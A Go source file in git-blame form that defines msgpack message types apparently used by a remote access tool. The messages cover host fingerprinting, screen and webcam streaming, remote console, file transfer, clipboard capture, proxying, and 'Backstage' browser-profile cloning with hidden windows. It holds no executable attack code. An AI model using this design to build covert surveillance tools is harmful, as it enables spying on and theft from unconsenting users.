2026-03-05 00:04:26 -06:00
|
|
|
package wire
|
|
|
|
|
|
|
|
|
|
type Hello struct {
|
2026-05-30 22:44:55 -05:00
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
ID string `msgpack:"id"`
|
|
|
|
|
HWID string `msgpack:"hwid"`
|
|
|
|
|
Host string `msgpack:"host"`
|
|
|
|
|
OS string `msgpack:"os"`
|
|
|
|
|
Arch string `msgpack:"arch"`
|
|
|
|
|
HostArch string `msgpack:"hostArch,omitempty"`
|
|
|
|
|
Version string `msgpack:"version"`
|
|
|
|
|
User string `msgpack:"user"`
|
|
|
|
|
Monitors int `msgpack:"monitors"`
|
|
|
|
|
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
|
|
|
|
|
Country string `msgpack:"country,omitempty"`
|
|
|
|
|
BuildTag string `msgpack:"buildTag,omitempty"`
|
|
|
|
|
PublicKey string `msgpack:"publicKey,omitempty"`
|
|
|
|
|
Signature string `msgpack:"signature,omitempty"`
|
|
|
|
|
InMemory bool `msgpack:"inMemory,omitempty"`
|
|
|
|
|
CPU string `msgpack:"cpu,omitempty"`
|
|
|
|
|
GPU string `msgpack:"gpu,omitempty"`
|
|
|
|
|
RAM string `msgpack:"ram,omitempty"`
|
|
|
|
|
BatteryPercent *int `msgpack:"batteryPercent,omitempty"`
|
2026-06-04 20:41:10 -05:00
|
|
|
BatteryCharging *bool `msgpack:"batteryCharging,omitempty"`
|
2026-05-30 22:44:55 -05:00
|
|
|
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
|
|
|
|
Elevation string `msgpack:"elevation,omitempty"`
|
|
|
|
|
Permissions map[string]bool `msgpack:"permissions,omitempty"`
|
|
|
|
|
PublicIP string `msgpack:"publicIP,omitempty"`
|
2026-06-29 00:01:07 -05:00
|
|
|
LastCrashReason string `msgpack:"lastCrashReason,omitempty"`
|
|
|
|
|
LastCrashDetail string `msgpack:"lastCrashDetail,omitempty"`
|
2026-03-20 22:38:17 -05:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type EnrollmentChallenge struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Nonce string `msgpack:"nonce"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type EnrollmentStatus struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Status string `msgpack:"status"`
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type MonitorInfo struct {
|
|
|
|
|
Width int `msgpack:"width"`
|
|
|
|
|
Height int `msgpack:"height"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type Ping struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
TS int64 `msgpack:"ts,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type Pong struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
TS int64 `msgpack:"ts,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type Command struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandType string `msgpack:"commandType"`
|
|
|
|
|
Payload interface{} `msgpack:"payload,omitempty"`
|
|
|
|
|
ID string `msgpack:"id,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type CommandResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
OK bool `msgpack:"ok"`
|
|
|
|
|
Message string `msgpack:"message,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-13 09:34:16 -05:00
|
|
|
type DesktopEncoderProfile struct {
|
|
|
|
|
MaxHeight int `msgpack:"maxHeight"`
|
|
|
|
|
Width int `msgpack:"width"`
|
|
|
|
|
Height int `msgpack:"height"`
|
|
|
|
|
FPS int `msgpack:"fps"`
|
|
|
|
|
Label string `msgpack:"label"`
|
|
|
|
|
Providers []string `msgpack:"providers"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type DesktopEncoderCapabilities struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Probed bool `msgpack:"probed"`
|
|
|
|
|
Display int `msgpack:"display"`
|
|
|
|
|
Profiles []DesktopEncoderProfile `msgpack:"profiles"`
|
|
|
|
|
Detail string `msgpack:"detail,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-06-27 16:40:54 -05:00
|
|
|
type ClientLogEntry struct {
|
|
|
|
|
Seq uint64 `msgpack:"seq" json:"seq"`
|
|
|
|
|
At int64 `msgpack:"at" json:"at"`
|
|
|
|
|
Source string `msgpack:"source" json:"source"`
|
|
|
|
|
Blob string `msgpack:"blob" json:"blob"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type ClientLogsResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
OK bool `msgpack:"ok"`
|
|
|
|
|
Entries []ClientLogEntry `msgpack:"entries,omitempty"`
|
|
|
|
|
Dropped uint64 `msgpack:"dropped,omitempty"`
|
|
|
|
|
FromSeq uint64 `msgpack:"fromSeq,omitempty"`
|
|
|
|
|
ToSeq uint64 `msgpack:"toSeq,omitempty"`
|
|
|
|
|
Enabled bool `msgpack:"enabled"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
type FrameHeader struct {
|
|
|
|
|
Monitor int `msgpack:"monitor"`
|
|
|
|
|
FPS int `msgpack:"fps"`
|
|
|
|
|
Format string `msgpack:"format"`
|
2026-07-13 10:22:19 -05:00
|
|
|
Backstage bool `msgpack:"backstage,omitempty"`
|
2026-03-08 22:31:11 -05:00
|
|
|
Webcam bool `msgpack:"webcam,omitempty"`
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type Frame struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Header FrameHeader `msgpack:"header"`
|
|
|
|
|
Data []byte `msgpack:"data"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-08 14:14:09 -05:00
|
|
|
type FrameAck struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
type ScreenshotResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Format string `msgpack:"format"`
|
|
|
|
|
Width int `msgpack:"width,omitempty"`
|
|
|
|
|
Height int `msgpack:"height,omitempty"`
|
|
|
|
|
Data []byte `msgpack:"data"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type ConsoleOutput struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
SessionID string `msgpack:"sessionId"`
|
|
|
|
|
Data []byte `msgpack:"data,omitempty"`
|
|
|
|
|
ExitCode *int `msgpack:"exitCode,omitempty"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileEntry struct {
|
|
|
|
|
Name string `msgpack:"name"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
IsDir bool `msgpack:"isDir"`
|
|
|
|
|
Size int64 `msgpack:"size"`
|
|
|
|
|
ModTime int64 `msgpack:"modTime"`
|
|
|
|
|
Mode string `msgpack:"mode,omitempty"`
|
|
|
|
|
Owner string `msgpack:"owner,omitempty"`
|
|
|
|
|
Group string `msgpack:"group,omitempty"`
|
2026-05-17 00:51:17 -05:00
|
|
|
// windows file attributes
|
|
|
|
|
Attrs uint32 `msgpack:"attrs,omitempty"`
|
2026-05-21 09:51:12 -05:00
|
|
|
// Drive / volume disk usage (populated only at root listings for drive entries).
|
2026-05-29 15:41:08 -05:00
|
|
|
FreeBytes int64 `msgpack:"freeBytes,omitempty"`
|
|
|
|
|
TotalBytes int64 `msgpack:"totalBytes,omitempty"`
|
2026-05-21 09:51:12 -05:00
|
|
|
FSType string `msgpack:"fsType,omitempty"`
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileListResult struct {
|
2026-05-29 15:41:08 -05:00
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
Entries []FileEntry `msgpack:"entries"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
AccessDenied bool `msgpack:"accessDenied,omitempty"`
|
|
|
|
|
CanRequestAccess bool `msgpack:"canRequestAccess,omitempty"`
|
|
|
|
|
AccessHelp string `msgpack:"accessHelp,omitempty"`
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileDownload struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
Data []byte `msgpack:"data"`
|
|
|
|
|
Offset int64 `msgpack:"offset"`
|
|
|
|
|
Total int64 `msgpack:"total"`
|
|
|
|
|
ChunkIndex int `msgpack:"chunkIndex,omitempty"`
|
|
|
|
|
ChunksTotal int `msgpack:"chunksTotal,omitempty"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileUploadResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
TransferID string `msgpack:"transferId,omitempty"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
OK bool `msgpack:"ok"`
|
|
|
|
|
Offset int64 `msgpack:"offset,omitempty"`
|
|
|
|
|
Size int64 `msgpack:"size,omitempty"`
|
|
|
|
|
Received int64 `msgpack:"received,omitempty"`
|
|
|
|
|
Total int64 `msgpack:"total,omitempty"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type ProcessInfo struct {
|
|
|
|
|
PID int32 `msgpack:"pid"`
|
|
|
|
|
PPID int32 `msgpack:"ppid"`
|
|
|
|
|
Name string `msgpack:"name"`
|
2026-05-21 09:51:12 -05:00
|
|
|
ExePath string `msgpack:"exePath,omitempty"`
|
2026-03-05 00:04:26 -06:00
|
|
|
CPU float64 `msgpack:"cpu"`
|
|
|
|
|
Memory uint64 `msgpack:"memory"`
|
|
|
|
|
Username string `msgpack:"username,omitempty"`
|
|
|
|
|
Type string `msgpack:"type,omitempty"`
|
2026-05-16 23:19:46 -05:00
|
|
|
Self bool `msgpack:"self,omitempty"`
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type ProcessListResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Processes []ProcessInfo `msgpack:"processes"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileReadResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
Content string `msgpack:"content"`
|
|
|
|
|
IsBinary bool `msgpack:"isBinary"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileSearchMatch struct {
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
Line int `msgpack:"line,omitempty"`
|
|
|
|
|
Match string `msgpack:"match,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileSearchResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
SearchID string `msgpack:"searchId"`
|
|
|
|
|
Results []FileSearchMatch `msgpack:"results"`
|
|
|
|
|
Complete bool `msgpack:"complete"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-05-17 00:51:17 -05:00
|
|
|
type FileIconRequestItem struct {
|
|
|
|
|
Key string `msgpack:"key"`
|
|
|
|
|
Path string `msgpack:"path,omitempty"`
|
|
|
|
|
Ext string `msgpack:"ext,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileIconResultItem struct {
|
|
|
|
|
Key string `msgpack:"key"`
|
|
|
|
|
PNG []byte `msgpack:"png,omitempty"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileIconResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Icons []FileIconResultItem `msgpack:"icons"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileThumbnailRequestItem struct {
|
|
|
|
|
Key string `msgpack:"key"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
Size int `msgpack:"size,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileThumbnailResultItem struct {
|
|
|
|
|
Key string `msgpack:"key"`
|
|
|
|
|
JPEG []byte `msgpack:"jpeg,omitempty"`
|
|
|
|
|
W int `msgpack:"w,omitempty"`
|
|
|
|
|
H int `msgpack:"h,omitempty"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileThumbnailResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Thumbs []FileThumbnailResultItem `msgpack:"thumbs"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-05-21 09:51:12 -05:00
|
|
|
type FilePeekResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
Data []byte `msgpack:"data,omitempty"`
|
|
|
|
|
Size int64 `msgpack:"size"`
|
|
|
|
|
IsText bool `msgpack:"isText"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type FileHashResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
Algorithm string `msgpack:"algorithm"`
|
|
|
|
|
Digest string `msgpack:"digest"`
|
|
|
|
|
Size int64 `msgpack:"size"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-05-17 00:51:17 -05:00
|
|
|
type FolderSizeResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
Bytes int64 `msgpack:"bytes"`
|
|
|
|
|
Files int64 `msgpack:"files"`
|
|
|
|
|
Dirs int64 `msgpack:"dirs"`
|
|
|
|
|
Done bool `msgpack:"done"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
type ScriptResult struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
CommandID string `msgpack:"commandId,omitempty"`
|
|
|
|
|
OK bool `msgpack:"ok"`
|
|
|
|
|
Output string `msgpack:"output"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type PluginEvent struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
PluginID string `msgpack:"pluginId"`
|
|
|
|
|
Event string `msgpack:"event"`
|
|
|
|
|
Payload interface{} `msgpack:"payload,omitempty"`
|
|
|
|
|
Error string `msgpack:"error,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type Notification struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Category string `msgpack:"category"`
|
|
|
|
|
Title string `msgpack:"title"`
|
|
|
|
|
Process string `msgpack:"process,omitempty"`
|
|
|
|
|
ProcessPath string `msgpack:"processPath,omitempty"`
|
|
|
|
|
PID int32 `msgpack:"pid,omitempty"`
|
|
|
|
|
Keyword string `msgpack:"keyword,omitempty"`
|
|
|
|
|
TS int64 `msgpack:"ts,omitempty"`
|
|
|
|
|
}
|
2026-03-08 22:31:11 -05:00
|
|
|
|
|
|
|
|
type WebcamDevice struct {
|
|
|
|
|
Index int `msgpack:"index"`
|
|
|
|
|
Name string `msgpack:"name"`
|
|
|
|
|
MaxFPS int `msgpack:"maxFps,omitempty"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type WebcamDevices struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Devices []WebcamDevice `msgpack:"devices"`
|
|
|
|
|
Selected int `msgpack:"selected"`
|
|
|
|
|
}
|
2026-03-12 14:41:03 -05:00
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageCloneProgress struct {
|
2026-03-12 14:41:03 -05:00
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Browser string `msgpack:"browser"`
|
|
|
|
|
Percent int `msgpack:"percent"`
|
|
|
|
|
CopiedBytes int64 `msgpack:"copiedBytes"`
|
|
|
|
|
TotalBytes int64 `msgpack:"totalBytes"`
|
|
|
|
|
Status string `msgpack:"status"`
|
|
|
|
|
}
|
2026-03-15 16:14:50 -05:00
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageDXGIStatus struct {
|
2026-04-16 14:22:28 -05:00
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Success bool `msgpack:"success"`
|
|
|
|
|
GPUPid uint32 `msgpack:"gpuPid"`
|
|
|
|
|
Message string `msgpack:"message"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageLookupResult struct {
|
2026-03-21 17:42:31 -05:00
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Exe string `msgpack:"exe"`
|
|
|
|
|
Path string `msgpack:"path"`
|
|
|
|
|
Done bool `msgpack:"done"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageBrowserCheckResult struct {
|
2026-04-17 09:56:04 -05:00
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Browsers map[string]bool `msgpack:"browsers"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageInstalledApp struct {
|
2026-05-10 00:03:49 -05:00
|
|
|
Name string `msgpack:"name"`
|
|
|
|
|
ExePath string `msgpack:"exePath"`
|
|
|
|
|
Icon string `msgpack:"icon"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageInstalledAppsResult struct {
|
2026-05-10 00:03:49 -05:00
|
|
|
Type string `msgpack:"type"`
|
2026-07-13 10:22:19 -05:00
|
|
|
Apps []BackstageInstalledApp `msgpack:"apps"`
|
2026-05-10 00:03:49 -05:00
|
|
|
Done bool `msgpack:"done"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageBrowserLaunchStatus struct {
|
2026-05-15 18:29:25 -05:00
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Browser string `msgpack:"browser"`
|
|
|
|
|
Step string `msgpack:"step"`
|
|
|
|
|
Success bool `msgpack:"success"`
|
|
|
|
|
Detail string `msgpack:"detail"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageWindowEntry struct {
|
2026-05-20 15:26:41 -05:00
|
|
|
Title string `msgpack:"title"`
|
|
|
|
|
X int `msgpack:"x"`
|
|
|
|
|
Y int `msgpack:"y"`
|
|
|
|
|
Width int `msgpack:"width"`
|
|
|
|
|
Height int `msgpack:"height"`
|
|
|
|
|
PID uint32 `msgpack:"pid"`
|
|
|
|
|
ProcessName string `msgpack:"processName"`
|
|
|
|
|
Monitor int `msgpack:"monitor"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageMonitorEntry struct {
|
2026-05-20 15:26:41 -05:00
|
|
|
Index int `msgpack:"index"`
|
|
|
|
|
Name string `msgpack:"name"`
|
|
|
|
|
X int `msgpack:"x"`
|
|
|
|
|
Y int `msgpack:"y"`
|
|
|
|
|
Width int `msgpack:"width"`
|
|
|
|
|
Height int `msgpack:"height"`
|
|
|
|
|
Primary bool `msgpack:"primary"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-07-13 10:22:19 -05:00
|
|
|
type BackstageWindowListResult struct {
|
2026-05-20 15:26:41 -05:00
|
|
|
Type string `msgpack:"type"`
|
2026-07-13 10:22:19 -05:00
|
|
|
Windows []BackstageWindowEntry `msgpack:"windows"`
|
|
|
|
|
Monitors []BackstageMonitorEntry `msgpack:"monitors"`
|
2026-05-20 15:26:41 -05:00
|
|
|
}
|
|
|
|
|
|
2026-03-28 21:58:16 -05:00
|
|
|
type ClipboardContent struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Text string `msgpack:"text"`
|
|
|
|
|
Source string `msgpack:"source"`
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-15 16:14:50 -05:00
|
|
|
type ProxyData struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
ConnectionID string `msgpack:"connectionId"`
|
|
|
|
|
Data []byte `msgpack:"data"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type ProxyClose struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
ConnectionID string `msgpack:"connectionId"`
|
|
|
|
|
}
|
2026-04-05 22:55:03 -05:00
|
|
|
|
|
|
|
|
type DisconnectInfo struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Reason string `msgpack:"reason"` // "normal", "panic", "crash", "network", "timeout"
|
|
|
|
|
Detail string `msgpack:"detail,omitempty"` // error message
|
|
|
|
|
}
|
2026-05-13 13:44:33 -05:00
|
|
|
|
|
|
|
|
type WebRTCP2PAnswer struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
SessionID string `msgpack:"sessionId"`
|
2026-05-13 20:19:21 -05:00
|
|
|
Kind string `msgpack:"kind,omitempty"`
|
2026-05-13 13:44:33 -05:00
|
|
|
SDP string `msgpack:"sdp"`
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type WebRTCP2PIce struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
SessionID string `msgpack:"sessionId"`
|
2026-05-13 20:19:21 -05:00
|
|
|
Kind string `msgpack:"kind,omitempty"`
|
2026-05-13 13:44:33 -05:00
|
|
|
Candidate string `msgpack:"candidate"`
|
|
|
|
|
SDPMid string `msgpack:"sdpMid"`
|
|
|
|
|
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
|
|
|
|
|
}
|
2026-07-10 23:44:46 -05:00
|
|
|
|
|
|
|
|
type PrivacyStatus struct {
|
|
|
|
|
Type string `msgpack:"type"`
|
|
|
|
|
Enabled bool `msgpack:"enabled"`
|
|
|
|
|
}
|